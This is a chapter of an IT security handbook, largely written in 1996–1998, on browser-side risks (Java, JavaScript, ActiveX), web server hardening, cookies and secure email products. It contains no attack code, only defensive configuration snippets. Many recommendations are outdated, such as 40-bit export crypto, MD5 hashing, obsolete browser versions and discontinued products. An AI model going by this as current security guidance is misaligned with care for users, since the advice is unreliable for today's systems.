The IT Security Cookbook - Securing Applications

by Sean Boran [Published on 16 Oct. 2002 / Last Updated on 24 Jan. 2013]


Internet/Intranet

Introduction.

Internet applications are those based on common Internet application level protocols such as HTTP, wais, gopher, telnet and ftp.

  • In general, Internet applications (which involve external network access outside the company) should be carefully considered due a severe lack of security on the Internet. Extreme caution is required in setting up access to the Internet. Most services (such as WWW) should only be accessed via a securely configured (central) proxy server, embedded in a Firewall. Users need to be aware of the dangers of downloading information and programs from untrusted sources.
  • Intranet, on the other hand, is the use of Internet technologies on the internal corporate networks. The security issues are different, with access control and availability, for example being more important than viruses and dangerous programs.

Security has traditionally been weak on the Internet, but that is changing. The Security market offers a wide choice of products that are evolving rapidly.
This section does not cover all aspects of Internet/Intranet security. A quick browse of the Mechanisms, Firewalls and possibly UNIX/NT chapters is recommended before reading here.

How can the risks be reduced?

  • Confidentiality/integrity: If a secure connection between browser and WWW server is needed, SSL is the main contender at the moment. However, the encryption level is weak outside the USA. An interesting alternative is using Fortify on your Netscape browser to give 128bits or using SSH (Secure Shell). Both of these is discussed in the mechanisms chapter.
  • Availability: Denial of service attacks are possible on virtually all client server systems (including the Java "sandbox"). Minimising the damage of DoS attacks can be achieved by good administration practices e.g. constant system monitoring, keeping up to date with patches, careful installation & configuration. A firewall filter in front on a web server that stops all protocols except http and prevents IP spoofing helps a lot.

The security issues can be discussed in two broad categories, client side and server side security. 

Client side security & browsers

Downloading from the Internet

Great care should be taken when downloading files from the Internet, to avoid downloading Trojan horses, sabotaged documents or programs and viruses:
==> use [MD5] hashes or PGP signatures to verify integrity and origin, where possible.
==> download from the original source site. See also the section on office automation.
==> Don't blindly open files with macros (Word, Excel, Access etc.), Postscript or ActiveX. They may contain trojan horses or viruses.
==> Use WordPad, not Winword to view Winword files downloaded.
==> Set the file permissions of normal.dot to read-only for Winword.
==> If possible buy CD-ROMS instead of downloading. It is cheaper and more secure (especially when the CD-ROM was made by the persons developing the software). An example of this is the GNU CD-ROM. 

Java

Sun Microsystems' Java has made a big impact since it's debut in late 1995. Java is a C/C++ like language which has multithreading, object orientation, networking and portability since is compiled into byte code. This byte code can be executed (interpreted) by any host that has a virtual Java machine. This ensures high portability but at the cost of performance (since interpreters are slow - but this should change as Java implementations in silicon and Just In Time - JIT compilers come into mainstream use).

Java is designed to run in two situations: standalone applications and "applets". Applets are small Java applications downloaded from a Web page to a browser and executed by the browser.

Java is resulting in spectacular WWW home pages and highly portable applications (although Microsoft is doing it's best to stop portability). It is considered by some to be the future trend for client / server computing.
Java V1.02 is supported by Navigator V2 (and later), IE3 and newer versions of Mosaic and PowerBrowser. V1.1 works on IE4, Navigator 4.04 with the Jan.1998 JVM fix or 4.05 or later.

Java has been designed to provide a secure an environment for foreign code execution:

  • The Java language was designed to be safe (e.g. object orientation, automatic garbage collection, restricted casting/type control and no pointer arithmetic). The compiler rigorously enforces safety rules.
  • Byte code verifier: Byte codes imported into runtime are verified that they obey the safety rules (protects against a rogue compiler). E.g. stack overflow/underflow, invalid types/casts, forged pointers, protected class access. The class loader ensures that classes don't violate name space or address restrictions. Imported classes cannot spoof key built-in classes. Separates name spaces into local and URL-associated.
  • Java 1.1 includes a crypto-api for encryption and signing. Unfortunately it is restricted by US export laws.
  • Security manager: Limits how applets can use APIs and checks for dangerous methods. For applets, the client browser decides on the policy of the security manager.
  • Protecting the file system and network access: If an attempt is made by a piece of imported code to which access has not been granted, a dialog box pops up and allows the user to decide whether to allow access or not.
  • protects threads from each other, controls access to classes.
  • controls access to the Operating System

Java applets have the following additional restrictions:

  • In V1.02, Applets cannot make direct system calls or access the file system, interfere with other applets, eavesdrop on the local environment or open network connections (except to the Web page where the applet was loaded).
  • With V1.1 and later, applets can be signed. Signed applets can be allowed more access to local resources (by configuring the browser), since the applet comes from a "trusted" source. Appletviewer, NS4 & IE4 sign applets differently and restrict access in different ways (see Doc_CodeSigning.html). Hopefully this will be standardised in Java 1.2.
  • See also Java Frequently Asked Questions - Applet Security.

Certain threats are not addresses by the Java design:

  • Denial of service attacks: Attackers applets can use too much memory, CPU, resources etc., perhaps resulting in a host crashing.
  • Misconfiguration attacks: All applets are treated the same way. Browsers apply the same rules to applets whether they come from trusted servers or not. If the security manager allows file access (because an applet he trusts needs it), all applets have file access. Signing overcomes this to a certain extent.
  • Social engineering attacks: An attackers applet could present the users with a username/password dialog box in the hope of fooling the user. Some browsers display Java windows with an embedded warning. [Signing should help here too].
  • Persistence: applets can stay running after the user leaves the Web page.
  • Resource abuse: Attackers applets can work on the users machine and send results back to the server without the user knowing. Email can be sent from the client without the user's knowledge.
  • DNS: Java trusts DNS too much. If an attacker can subvert the DNS information to the client, it can bypass the network restrictions on applets.

The above is the theoretical standpoint. As Java comes into mainstream use, problems are appearing.

  • A few security bugs were discovered in Javascript and Java in February 1996. They concerned DNS spoofing and defective security checks during class loading. These can be fixed by upgrading from JDK 1.0 to 1.01.
  • More Java related security bugs appeared in Navigator (see below), cumulating in the assertion that Java is not ready for prime time. See the NASIRC BULLETIN B-96-24 on the Java Class loader which refers to an analysis of Java security made at the Princeton University [java1]. The study seems quite thorough and should be read by all Java developers and architects. Their conclusion is as follows:

We conclude that Java in it's current form cannot easily be made secure. Significant redesign of the language, the bytecode format, and the runtime system appear to be necessary steps toward building a higher-assurance system.. Without a formal basis, statements about a systems security cannot be definitive.

The presence of flaws in Java does not imply that competing systems are more secure. We conjecture that if the same level of scrutiny had been applied to competing systems, the results would have been similar. Execution of remotely-loaded code is a relatively new phenomenon and more work is required to make it safe.

Now (April 1998, 2 years later) few other security issues have arisen (compared with Browser security bugs for example) and as JDK 1.1 is being supported by more browsers, signed applets should start making their debut.

Conclusions:

  • Java is more secure than other popular languages such as C, C++, VB, Javascript, VBscript and remote code execution technologies such as ActiveX. It still has teething problems, but also a bright future.
  • Education of users on the dangers and advantages of Java is important.
  • For users working on highly sensitive machines, disable Java applets in the Internet WWW browser, unless used when connected to a trusted server (e.g. on the Intranet).
  • Java is an excellent language for developing standalone applications. From a security standpoint, Java offers greater assurance than C or C++ , for instance. Long term, Java will have a greater effect in the area of standalone applications, than applets in pretty web pages.
  • Mature java libraries for implementing military grade encryption and signing are available.
  • GUI Development with Java is till cumbersome. For example, Delphi is miles ahead for Windows GUI development.

Javascript

Javascript has nothing to do with Java, apart from a similar syntax. It is a client-side interpreted scripting language designed by Netscape.
It does not operate in a sandbox (as for example Java does), it can upload files, send mail, present dialog boxes with anything written on them and write to local files (albeit via a dialog box). Javascript has two security policies:

  1. The same origin policy is the default policy. It dates from Navigator 2.0. When loading a document from one origin, a script loaded from a different origin cannot get or set properties of the following in a window or frame. objects (image, layer, location, window, document).
  2. The signed script policy is new to Communicator 4.0, is based upon the new Java security model,  object signing. To make use of the new policy in JavaScript, use the new Java security classes and then sign your JavaScript scripts.

A few security bugs have popped up here and there since February 1996. See the Navigator section below. Use Navigator/Communicator 4.x or later.

Note: JavaScript can do anything if delivered in a html file attached to email i.e. no dialog box prompt , it already has the rights as the user started it! e.g. it can email your file system from your PC .

Recommendations

  • Since JavaScript code is plainly visible in the HTML source, never use it to handle security functions (e.g. evaluate passwords).
  • Only use Communicator 4.x (to do check IE4.0) which properly performs origin check on named forms and also closes the src_fron_non_file security hole. Navigator 3.0 provided data tainting to provide a means of secure access to specific components on a page. Because signed scripts provide greater security than tainting, tainting has been disabled in Communicator 4.x.
  • For clients handling sensitive data: disable JavaScript. This will definitely limit your selection of sites though as JavaScript is now used extensively on the Internet.

Hot Java

Hot Java is a demonstration WWW browser from Sun Microsystems, built to show what the Java language can do. Since Hot Java is not supported and is purely for demonstration, it should not be used by normal users, especially since it contains several security holes (see [java1]). 

ActiveX

ActiveX was designed allow PCs to execute programs from a web page. There is no security policy or concept, except that the originator of programs can be verified. ActiveX programs downloaded via a web browser can do what they want with your PC, i.e. format the hard disk, shut it down etc (see http://www.halcyon.com/mclain/ActiveX/ for some examples).

  • ActiveX does NOT run in a protected "sandbox" like Java, your machine has absolutely no way of protecting itself from a rogue ActiveX programs.
  • Only download programs when the source is trusted 100%, for example from trusted servers on the internal network.
  • Be aware that being sure of the source of software (it is signed), does not means that the software does not have unexpected side effects.
  • Recommendation for all clients: disable ActiveX. 

Netscape Navigator

Netscape is the principal WWW browser and interface to the Internet for most users, especially since it run across a wide variety of platforms from PCs to UNIX.

  • Navigator can encrypt certain data exchanged with a (SSL capable) WWW server (a special dialog box pops up when the connection is secure). This feature is mainly used for online shopping and banking. The encryption key is 128 bits in the USA and 40 bits for the rest of us. Navigator 2.0 supports SSL, SNEWS and HTTPS.
    • Brute force attacks have shown that it is possible to break the (export version) 40bit session key in a few hours with very powerful machines.
    • However, worse again[2] is the discovery that it is possible to break the "Master key" with a normal workstation in a few hours (Netscape 1.1)- due to a buggy pseudo-random number generator which is in fact very predicable. Netscape have published new code publicly (to allow anyone to test it), before releasing a patch. (Fix: Upgrade to 2.0).
    • Netscape 2.0 also has bugs in it's DNS name handling for Java applets and file access using Javascript (Fix: upgrade to 2.01).
    • Netscape 2.02 upgrade fixes security bugs in the Java class loader and in Javascript.
  • Navigator has become very complex with Java, Javascript, Encryption and security features (such as SSL) for Internet commerce. With this complexity and new versions every six months comes the probability of bugs and hence security holes.
  • Consider storing Navigator libraries on a shared server (e.g. put libraries in /usr/local on UNIX). This allows fast fixing of library problems. Consider installing Netscape centrally.
  • Under the menu item Options->Security Preferences, Navigator V3 allows alert dialogues to be enabled, SSL to be enabled/disabled, a user password to be set to prevent other persons using netscape and certificates can be managed.
  • Under the menu item Options->Network preferences, V3 allows the proxy server & direct access servers to be defined. Alerts may be enabled for electronic forms submitted or before accepting "cookies". Java and Javascript may also be disabled.
  • The best news is that you make your "export" Navigator capable of strong encryption by downloading the Fortify program from http://www.geocities.com/Eureka/Plaza/6333 or http://www.fortify.net/ which can patch your Navigator 3 or 4 to remove the export restrictions! Try and believe!
  • In Nov. 1998, the current versions are 3.04 (last patch of V3) and 4.06 (for the newer "communicator").

Microsoft Internet Explorer

Explorer 3.0 supports Java, SSL 2 & 3, software signing, PCT 1.0, Active X and ActiveXscript/VBScript.

  • It is possible to configure several security options on the View->Options->Security form. Java can be restricted to 3 different levels. ActiveX, plug-ins downloading of active content can be disabled. Certificates and site ratings can also be set.
  • In an NT environment with IIS as the WWW server and NT Lan Manager used for user authentication, Explorer can transparently provide access to WWW pages with restricted access. E.g. if a certain WWW page on the IIS is restricted to reading by a particular NT group, explorer authenticates the user to the IIS server without the user having to re-enter a username and password. This is particularly useful in the Intranet. Navigator, on the other hand, has to use standard HTTP auth (less secure) and does always asks for a password, making it less secure in this siruation and a bit of a nuisance form the user's point of view.

Problems:

  • See www.microsoft.com/security [but that's not all...]
  • Some security problems were found in 3.0 betas in mid 1996, but were quickly fixed (although nothing was said on www.microsoft.com).
  • 1997/8 seen an explosion in security holes found in explorer/ActiveX. The following can be viewed at http://www.ntsecurity.net/ (newest problems first):

Executing Code on IE 4.0 and 4.01 (Jan.13'98)
Cracking Windows 95 Share
Passwords (Jan.9'98)
Teardrop 2 Attack (Jan.9'98)
IE Page redirect (Nov.19'97)
land Attack (Nov.17'97)
IE4 (Oct.11'97)
IE4 & DHTML (Oct.16'97)
IE4 & Java (Sep.12'97)
OOB Attack (May.9'97)
IE & Powerpoint (May.7'97)
Samba Can Grab Win95 Passwords (Mar.17 '97)
IE Hole with NTLM (Mar.15 '97)
IE & Netscape Hole Found (Mar.14 '97)
Run Local Commands With IE (Mar.7 '97)
Get IE To Launch Remote Apps (Mar.6 '97)
IE .LNK and .URL Problems (Mar.3 '97)
Potential Active Server Problem (Feb.20 '97)

  • Even if you have the latest V3 or V4, all of the above problems have yet been fixed!
  • IE4 divides the Webspace up into zones (Internet, Intranet etc..) that help to remind the user where he is and allow the security behaviour to be customised per zone. This does not solve problems such as buffer overflows though.

Since Microsoft believes in security through obscurity (they don't publish algorithms, subject their programs to peer review or always inform users of security weaknesses), Explorer can't offer a high level of assurance. Since it is free and will be increasing integrated into the Microsoft Operating systems, it will be used by more and more users.

Servers: WWW (World Wide Web)

Reference Documentation

  1. Before installing a WWW server, read the following FAQ, which goes into considerable detail on server setup and writing cgi scripts http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html and http://www.cerf.net/~paulp/cgi-security/ or http://hoohoo.ncsa.uiuc.edu/cgi/security.html .
  2. HTML books: "Webmaster in a Nutshell" (O'Reilly), "Teach Yourself Web Publishing with HTML in 14 Days", ISBN 1-57521-014-2 another is "How to set up and maintain a World Wide Web Site: The Guide for Information Providers", Lincoln Stein (Addison-Wesley), ISBN 0-201-63389-2.
  3. An email list is devoted to WWW security:
    www-security-request@nsmx.rutgers.edu
    body= SUBSCRIBE www-security YOUR_ADDR

For information on secure versions of html, and transaction processing on the web:

http://home.netscape.com/info/SSL.html
http://www.commerce.net/information/standards/drafts/shttp.txt
http://www.w3.org/hypertext/WWW/Shen/ref/security_spec.html
http://www.w3c.org/
http://www.fv.com/
http://www.digicash.nl/
http://www.cybercash.com/
http://www.mcom.com/
http://www.algroup.co.uk/Apache-SSL

For information on basic authentication, see:

http://www.w3.org/hypertext/WWW/AccessAuthorization/Basic.html

For server status codes see:

http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html
See also the Internet references in Appendix C.

Overview

The WWW scene is moving very fast and is increasingly complex with many vendor extensions, protocols, different client front ends etc. This section presents a very brief overview of a complex topic. Basically to provide a secure WWW service you need:

  • A securely configured Operating System (See the UNIX/NT chapters for more on this).
  • Protection from a firewall if possible (see the Firewalls chapter).
  • A securely configured HTTP server (see Firewalls chapters and below).
  • Use of secure protocols such as SSL, SET, HHTPS (see the Mechanisms chapter). Note that not all WWW servers support SSL V3 (Apache & Netscape do). However most are U.S export restricted.
  • For strong cryptography outside the U.S. few products exist, some examples are from Apache +SSLeay ( http://www.algroup.co.uk/Apache-SSL/ ), Apache + mod_ssl, Baltimore technologies ( http://www.baltimore.ie/ ), Siemens Nixdorf Ireland's Trustedweb (still beta-ish in August 1997), Safe Passage ( http://stronghold.ukweb.com/safepassage/ ) and Switzerland's R3 solution used by Swiss banks ( www.r3.ch/products/ssl/ssl_server.html or http://www.swissonline.ch/ ).

General

The HTTP protocol is stateless, the connections being initiated by the client and terminated by the server after sending a response. The HTTP/1.0 request provides for a from field that specifies the users email address, a referrer that specifies the resource from which the URI was obtained (i.e. your machine and domain) and a user-agent that specifies which browser is in use. Each of these fields is only passed supplied by the browser client if it is so configured.

  • Monitor, prune and archive logs regularly.
  • Never put interpreters such as perl, sh in the cgi-bin directory. It allows anyone on the net to execute what he wants on your server!
  • The httpd has to be started by root on UNIX system, to allow binding to port 80. But running as root heightens the risks considerable, so either use a httpd that forks to a non root user such as nobody (most servers do this) or run the server in a chroot environment.
  • Remove compilers and X11 software from your Web server.
  • Remove x-csh from mime.types from both client & server.
  • Tips for the NCSA server V1.4 (see also http://hoohoo.ncsa.uiuc.edu/ ), Apache is similar:
    • Use Maxservers/Startservers to increase performance by using a pool of processes to service requests.
    • Disable support for user managed pages by UserDir to disabled.
    • Or, if users are to be allowed to manage their own pages, use the UserDir directive in srm.conf to point to a special directory for users. Don't use their home directories, as the wrong information may be accidentally published. The ~user notation still works fine in URLs. The http daemon needs read access to each of the users directories and the user needs full access. If the httpd daemon runs chroot'ed the user directories must be within the httpd file tree.
    • File access control is configured via the global access.conf or the .htaccess files in each directory.
    • The htpasswd utility is used to manage the (UNIX like) user password file. The Limit, deny, allow and require directives then allow authentication and access controls to be applied on a per directory basis.
  • Tips on using the Netscape server:
    • Consider extending the standard logging functionality via NSAPI, especially where database access is involved.
    • Beta versions can me more stable than final releases! Netscape is developing new features very fast, but not investing enough in software quality.
    • Only start the admin server when needed, i.e. when actually administering the system. This reduces the risk your server being remotely managed by someone else!
    • Have a look at the analyze tool included with the server, it can be useful for automatically analysing logs.
  • Tips on using NT WWW servers (e.g. Netscape or Microsoft IIS -Internet Information Server):
    • Make sure perl is not in the cgi-bin directory.
    • IIS had some security weakness in 1997, e.g. on SSI (Server Side Includes).
    • Run the server under a dedicated username, which has cannot delete system files.
  • Specific bugs/patches:
    • The NCSA HTTP server V1.3 has a bug which allows anyone to compromise the system. Install V1.4 or later.
    • Apache 1.05 fixed a weakness in arguments passed to cgi programs. You should be using Apache 1.3.4 or later anyhow. See also http://www.apache.org/ .
    • The CERN Server V3.0 has a vulnerability in the CGIParse script and security restrictions can be easily bypassed in httpd.conf. (See NASIRC Bulletin B-96-18). A patch for the second problem is provided in the bulletin, the first problem can be fixed by including the following before any "Exec", "Map", or "Pass" directives:

Fail //*
Fail *//*
Fail /./*
Fail */./*

  • Proxy WWW servers are discussed in the Firewalls chapter.

Authentication

Most servers allow password restricted access to certain files via a global configuration (access.conf) or per directory configuration file (e.g. .htaccess, .nsconfig). This is known as Basic Authentication. Access control based on IP address / host name is also available on most servers. Neither of these is foolproof (e.g. basic auth uses base64 encoding of username & password, that is trivial to invert, so it's just as bad a clear text password).
See access.conf (Apache/NCSA) or .nsconfig (Netscape).

  • While useful mechanisms, don't rely on these to protect confidential documents. Confidential documents should not be put on external WWW servers, unless they are encrypted with a strong algorithm. Make sure that the password and group files are not within the document root.
  • SSL (Secure Sockets Layer) offers improved authentication, access control and privacy. However, its encryption strength is severely limited by U.S. export restrictions. See the chapter on Security Mechanisms.
  • MS IIS offers authentication based on NT challenge-response ("Lan Manager auth") in addition to Basic Authentication. This type of authentication is much stonger than "HTTP auth" but also has severe problems (see the bug list in Explorer above). This authentication method is fine for restricting access on the Intranet, but not on the Internet.
  • With Apache and mod_perl, it's easy to build custom Authentication modules. See http://www.perl.apache.org/

Access Control

  • Use a packet filter to drop illegal packets arriving from the Internet (see the Firewalls chapter). This filter should also forbid outgoing udp, NFS, rpc, X11 connections to minimise the damage if an attacker does actually penetrate.
  • Domain named based access may be used to limit access by IP address (e.g. in access.conf or filter.conf on Netscape servers).
  • Per directory access control can be set in .htaccess or .nsconfig.
  • Internal WWW servers or databases should not have any direct connections to the Internet, unless they are via intelligent packet filters to trusted servers.
  • Users should not be able to directly login to important WWW servers, separate WWW severs from general user home/mail servers.
  • Never run the server as root, use a dedicated user with a blocked password. The user should have read-only access to documents, WWW configuration and system files. This should help to restrict the damage caused if the server is penetrated.
  • Some servers have an option to follow symbolic links (e.g. Apache access.conf/Options FollowSymLinks). It's better to switch this off to avoid following links to /etc/passwd, for example.
  • Put a robots.txt in the WWW root if you don't want your pages listed by search engines such as Alta Vista. Also monitor your access logs for robot entries. Typically this file would contain:

User-agent: *
Disallow: /

  • Server Side includes (SSI): SSI include "<filename>" is safer than SSI exec "/bin/cat <filename>". 

Privacy issues / cookies

  • To see what the server knows about you, try connecting to: http://www.anonymizer.com/cgi-bin/snoop.pl .
  • Servers would like to know who you are etc. for a variety of reasons, e.g.:
    • to store preferences and present you with automatic links based on your habits,
    • to allow you to choose several articles from various pages on a site such that the choices remain available even if the user exits the site,
    • store registration information, so that you don't have to constantly enter (for example) usernames and passwords.

Cookies were invented to maintain (user) state information for servers, as described above. The server cookie contains an item of information together with a valid domain name, lifetime, version and a flag indicating whether it should be transferred securely (i.e. via HTTP/SSL). The client cookie contains an item of information together with a valid domain name, version and path. Clients are supposed to be able to store a total of 300 cookies (20 cookies/server), with 4KB per cookie and 1.2MB of data.
Possible problems:

  • Cookies are transferred in clear text.
  • Servers can share cookies (privacy risk).
  • Denial of service: too many cookies could cause client or server software to block or crash.
  • Spoofed cookies to be introduced by an attacker, hoping that the client will provide interesting information since it things it is talking to a trusted server.

==> If you are worried about cookies, Navigator & Explorer may be configured to produce an alert if a server sends a request to set a cookie. In reality this is difficult to use since many sites make extensive use of cookies.

Availability

If possible use a dedicated machine for WWW, to limit damage if the server is compromised.

Redundancy

By using identical WWW servers with separate IP addresses, but mapped to the same DNS domain, a redundant WWW service can be offered. The problem is then automatically synchronising documents across multiple servers. SSH and rdist can be used to achieve this. 

Internet Money

This brief section is included for the curious. One of the difficult hurdles to Internet Commerce is how to securely order and pay for goods/services.
The classical method is with SSL to encrypt the online ordering session and using credit cards for payment. However, new payment systems are evolving, for example:

  • Cybercash: uses the concept of a virtual wallet built into a browser. See http://www.cybercash.com/)
  • FirstVirtual: associate your email address and credit card number with a PIN. You then use the PIN to pay. Supported by the Spyglass browser. See http://www.fv.com/ .
  • Digicash/E-cash: allows you to withdraw cash from an electronic bank and spend it on-line. Public key encryption is used in the current trial phase. Digicash provide special software for the client. See http://www.digicash.com/

Email

Many different (often incompatible) products are in use on many different platforms: MS-Mail, Teamlinks, VMSmail, X.400, Mail Exchanger, Internet (UNIX) mail and IBM Host mail for example. X.400 is often the backbone protocol within a large enterprise, with gateways to proprietary protocols. Lotus notes is probably the most common system today, but the author has no experience with it (so it's not mentioned here).

X.500 is a standardised directory service and it is finding acceptance, but slowly.  It's Internet directory implementation, LDAP is becoming commonplace.

Secure email

A unified secure mail system for the company should be considered as a an important issue, however few secure products exist outside the U.S. and even fewer inter-operate.
There is no common method for exchange of secure mail, yet. S/MIME (see below) does offer some hope for the future. The ideal secure email system might have the following properties:

  • It should use strong encryption and digital signatures
  • It should be possible to use a smart card with it.
  • It should be S/MIME compatible. If it can be configured to be also PGP compatible, this would be even better. (This would mean also support of 2 different certificate formats. It should be configurable as to which format to use for which recipient.)
  • For an enterprise solution (large number of users) the choice of CA structure, tools and interaction with the email client is critical.
  • It should have an LDAP interface for retrieving certificates, certificate chains and CRL's (Certificate Revokation Lists) and email addresses.
  • It should be able to verify CRL's and certificate chains (up to a root CA or cross certificate chain)
  • It should use X.509v1-3 certificates and v2 CRL's
  • It should contain local key management functions for managing certificates and CRL's locally on the PC, i.e. importing, exporting, viewing checking certificates and CRL's and associating certificates to email addresses.
  • It should be configurable how often the password has to be entered: Once per login session, once per transaction or periodically every x minutes.
  • It should be configurable if the result of a verification of a digital signature is shown to the user in a window or if the user can access this information by some explicit action (menu / button click).
  • When showing the result of a signature verification, all involved certificates should be shown and there should be an indication about what CRL's have been checked.
  • It should be able to support CA certificate migration, i.e. it should be able to handle "migration certificates" (sign old CA public key with new private key (forward compatibility) and new public key with old private key (backward compatibility).

The author knows of no system that satisfies all of the above issues. Other things to keep in mind on evaluating email systems are:

  • How is confidentiality guaranteed during transfer and on arrival? Are messages stored in encrypted form?
  • How is message integrity guaranteed?
  • How can we be sure who an email comes from -non repudiation of origin/receipt? (digital signatures)
  • How is email integrated into the business WorkFlow?
  • How are private/public keys managed? Directory services?
  • What availability level is required, how can it be guaranteed?
  • How transparent are security functions to the end user? If it is too difficult or slow to securely send mail, users will often opt for the easy option:- no security.
  • Does a central certification authority exist? Is it X.500 compatible? Is it compatible with other enterprise naming systems?
  • How does it interoperate with other inhouse mailsystems and those used by partner companies?

Some multi-platform products exist, which offer secure transmission and digital signatures.

PGP

PGP is a freeware and commercial email and file encryption utility. It is also discussed in the chapter "Security Mechanisms". 

PEM

PEM (Privacy Enhanced Mail) is a secure email standard proposed, but not yet adopted by the Internet Activities Board. PEM includes authentication and key management, using both public and shared key cryptosystems (the user chooses what cryptography is to be used).

  • DES in CBC mode encryption is inherently supported and both RSA and DES key management is supported.
  • PEM can also use certificates (as defined in the CCITT X.509 standard).
  • TIS provide a public domain implementation.
  • See also: RFC1421-1424 

S/MIME (May'98)

Secure MIME is the new (proposed) Internet standard for secure email exchange, developed by RSA. It is not yet an official standard, but several vendors (including Netscape) already support S/MIME. It is probably the best long term solution, since it is an open Internet standard.

Typically is not necessary to make any modifications for S/MIME on the server. For instance with MS Exchange, it integrates into the exchange client via the MAPI interface.

Some products are:

Open Soft (www.opensoft.com 1997) costs about $32/user, works with exchange and includes a keyserver. U.S. export restricted. Apparently works well with exchange.

Deming (www.deming.com) also offer an exchange compatible system for about $90/user. U.S. export restricted.

Advantages:

  1. It functions with both Eudora Pro 3.0 and Exchange (and can use the same certificates on the same machine).
  2. No changes are required to the exchange server.
  3. Certificates may either be self signed, or signed by a TTP such as (the default) VeriSign. It could be integrated with the Telecom TTP in the future.

Disadvantages:

  1. The user interface is not perfect, e.g. a user could easily unintentionally send an unencrypted email. The icons used to represent email don't seem to indicate if the received email was successfully decrypted and the signature checked. It is possible that these problems can be overcome by adding additional buttons to the toolbar, though this increases support costs.
  2. When a signed message is received from someone for whom no certificate currently exists, the certificate is automatically added to the certificate database. Before this certificate can be used, it must be manually trusted. This procedure is a bit confusing for normal users, it should be handled by a nice pop-up box when the signed email is received.
  3. The format of the certificates seems to be PKCS (.p7c) instead of plain X.509 (.crt). 

MailSecure:

MailSecure from Baltimore Technologies (http://www.baltimore.ie), is one of the few S/MIME Exchange plug-ins with military strength encryption. Baltimore have been active in cryptology for 20 years and provide references which inspire confidence in their ability to securely implement encryption algorithms. They have only recently ventured into the commercial market, with encryption products for Secure Web transactions, Java, Exchange and Windows.

  • Cost ~$80.-/user.
  • CA: a self signed CA and their proprietary Certification Authority system (UniCERT) is available. Certificates can be signed by self, UniCERT and (in the future) by other CAs that support the PKS format such as Verisign. Baltimore are part of a EU funded research project called EUROTRUST for TTPs. Certificates are in X.509 format.

Advantages:

  1. Strong encryption: symmetric key: DES, 3DES and RC2 40-128bit and public key 512-2048 bit. SHA-1 and MD5 signing algorithms are used.
  2. Fully integrated into Exchange (tested with both Exchange and POP3 servers).
  3. The passphase can be asked for:
    • each time or
    • at startup (and can also be deleted from memory after a specified period of time after startup).
  4. The S/MIME toolkit can be sold separately to developers, if desired.
  5. V1.1.2 tested with Exchange 4. Outlook should also work, but not yet tested.

Disadvantages (major issues are in bold font):

  1. Exchange 5 has problems with MailSecure.
  2. Messages are not compressed, in fact message size can almost double when encrypted.
  3. The restrictions on the password used to protect the certificates cannot be customised. The default setting may be two restrictive or too loose, depending on your needs. It should be the same as password restrictions on other systems you log into.
  4. Development seems slow: it has taken 6 months to leave beta to a stable product. No new features have been added in the last 9 months.
  5. It is not possible to automatically forward emails to an encrypted destination using the Inbox assistant (since the passphrase has to be entered each time)
  6. Intermittent Bug noted once or twice: The MailSecure properties in the compose window (File->Properties) hides the Exchange message properties, so that the message properties (such as priority, importance, whether a copy should be save to "Send Items") cannot be changed.
  7. Intermittent Bug: When a new email is composed, if you try to print it, it asks whether you wish to encrypt it! Make no sense.
  8. Bug: When writing an mail, I was interrupted and had to go out my office, I saved the mail activating both options sign, encrypt. The saved mail is not readable anymore (encrypted text as smime-attachment). (Presumably it encrypts the message with the receivers public key, rendering it unreadable to the original sender?). Workaround: don't encrypt emails temporarily stored, but not ready for sending.
  9. User interface features that would be useful:
    • Better certificate management:
      • It should be possible to delete certificates.
      • It should be possible to have several personal certificates and choose which certificate is used for signing.
      • Certificate cannot be imported/exported except during installation.
      • Only self signed and Baltimore signed certificates are supported at the moment.
      • It should be possible to assign several email addresses to one certificate, since a user might have several Email addresses (e.g. Internet, X.400, Exchange..).
    • Passphrase option that would ask for the passphrase and keep it in memory for a specified period of time (not just at startup).
    • If message sensitivity (see Message properties) is set to confidential, then it should be automatically encrypted.
    • Certificate directory service: When creating a new message, there should be some way of associating users from the address book with available certificate, aside from identical email addresses. Email addresses change all the time and aliases may also be used. A new certificate needed for each email address change. Apparently, the new V1.2 supports X.500 directories.
    • It would also be nice to "mark" certain users in the address as requiring encrypted email and as an option in addition the "sign/encrypt" prompt could be set only to come when email is sent to these users
    • Eudora, Lotus Mail are not supported, but may be in the future.

Recommendations:

  • It is essential to make a backup of your certificate (e.g. c:\program files\mailsecure\YOURNAME.bsk and .pc7). If you use several PCs simultaneously, it could be used on another PC (e.g. laptop) by copying this certificate,
  • To change the default CA, edit the following value in the registry:

HKEY_CURRENT_USER/SOFTWARE/Baltimore-Technologies/BMail/RAEmail

to the email address of the UniMS Certificate request processor.

Email servers & systems

Microsoft Exchange V4 (Mar.'97)

Exchange is an Email based groupware product from Microsoft, with a server software that works on NT 3.51 or later. It integrates MS-Mail, X.400, Internet mail (SMTP) as standard and has add-on modules for Novell, cc:Mail and IBM PROFS systems. X.500 directory services are not yet fully supported, but a proprietary directory service is included. Windows 95 and NT4 is delivered with an exchange client that allows rich text formatting, group scheduling, assigning message priorities and working offline or online.

From the security standpoint Exchange V4 offers:

  1. Secure data exchange:
    • Support for digital signatures and encryption. The CAST-64 or DES algorithm can be used in the U.S. and CAST-40 elsewhere. All encryption is performed by the client, not the server. What is CAST? (no reference can be found to this algorithm on the Internet cryptographic archives). Perhaps it is a Microsoft invention, not subject to peer review.
    • Advanced fax capabilities are also integrated, e.g. BFT (Binary File Transfer) with digital signatures.
    • The exchange client also works over dial-up networking and encryption can be switched on only when dial-up networking is used. This is a useful feature for remote users.
  2. Verification/non-repudiation: A user can ask for confirmation that an email has been received and/or read by the recipient. If the recipient has advanced security (i.e. with digital signatures), then the user can be reasonably sure that the correct recipient has actually read the information.
  3. Key management:
    • Public and private key management is used. There are two key pairs, one for signing, one for encryption. Bulk encryption keys are used for sending messages securely to multiple recipients. Public keys must be certified by a CA (the KM server in the case of Exchange). The certificates ties a user's public key to a particular mailbox.
    • When the administrator enables advanced security for a user, he is presented with a token (basically containing the user's private keys) which must be securely passed onto the user[3]. The administrator must there be absolutely that the token is being generated for and sent to the right person and an secure method for transferring the token has to be found. This token is temporary and allows the user to enable advanced security on the client side (via Tools->Options->Security). When the user enables advanced security, a password must be entered. This password must be entered each time an email is signed/encrypted/decrypted in the future.
    • Lost security tokens can be recovered by the administrator (Choose Recipients in the Administration windows, then Security->Recover Key). The key is shown and must now be transmitted securely to the user.
    • User tokens can be revoked by the Administrator (Administration->Recipients->Choose mailbox -> Security-> Revoke Advanced Security).
  4. Identification & authentication:
    • Subjects (users) are identified through their NT domain login. A separate logon can be used for network mailbox access or the logon process can be unified with the NT logon process.
    • With advanced security, users' identities can be authenticated through the use of private/public keys.
